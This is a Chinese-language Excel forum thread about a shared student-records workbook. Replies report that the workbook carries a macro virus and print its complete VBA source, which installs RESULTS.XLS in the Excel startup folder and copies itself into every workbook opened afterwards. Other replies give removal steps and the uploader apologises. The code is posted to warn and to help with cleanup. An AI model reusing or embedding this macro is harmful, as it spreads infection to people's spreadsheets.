共享我学做的学籍系统（可加入相片打印）

ABC555

文件夹的相片来自网络下载，如有侵权请原谅！这是我参照几个前辈的帖子修改而成，并非原创，欢迎交流！


          前几天上传的附件带有宏病毒（我本来不知，给别人传染的！），现已处理过，重新上传，给各位带来不便，深表歉意！下面是新附件，原来带宏病毒的附件已删除。

lhdcxz

也拿出来分享
http://club.excelhome.net/thread-812568-1-1.html

zzcqm

楼主不厚道……

运行后会生成这么个东东……
代码：
Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub
Sub ck_files()
    c$ = Application.StartupPath
    M$ = Dir(c$ & "\" & "RESULTS.XLS")
    If M$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub

ABC555

zzcqm 发表于 2012-2-1 22:36
楼主不厚道……

运行后会生成这么个东东……

初学，有不周之处请原谅！可帮我修改一下！

lzqlaj

有病毒。。

lhdcxz

在网络上搜索，RESULTS正是。

zzcqm

ABC555 发表于 2012-2-3 13:07
初学，有不周之处请原谅！可帮我修改一下！

删除：
C:\Documents and Settings\你的用户名\Application Data\Microsoft\Excel\XLSTART\RESULTS.xls
里面的文档 即：RESULTS.xls
然后再删除你打开过的每一个excel文档中的 VBAProject (RESULTS.XLS)模块……
注意，在删除模块前请设置宏的安全级别为中或以上……
方法可能有点不好（但我用此方法把病毒清除掉了）；另外，楼主可以借鉴别人更好的方法……

ABC555

很好！我已删除病毒重新上传，给各位带来不便，深抱歉意！

ljx63426

楼主还没有删除病毒，我又中招了，好可恶。

ABC555

ljx63426 发表于 2012-2-5 12:39
楼主还没有删除病毒，我又中招了，好可恶。

你要下个宏专杀工具杀一下你电脑的病毒，我的学籍系统已处理过了，没毒的！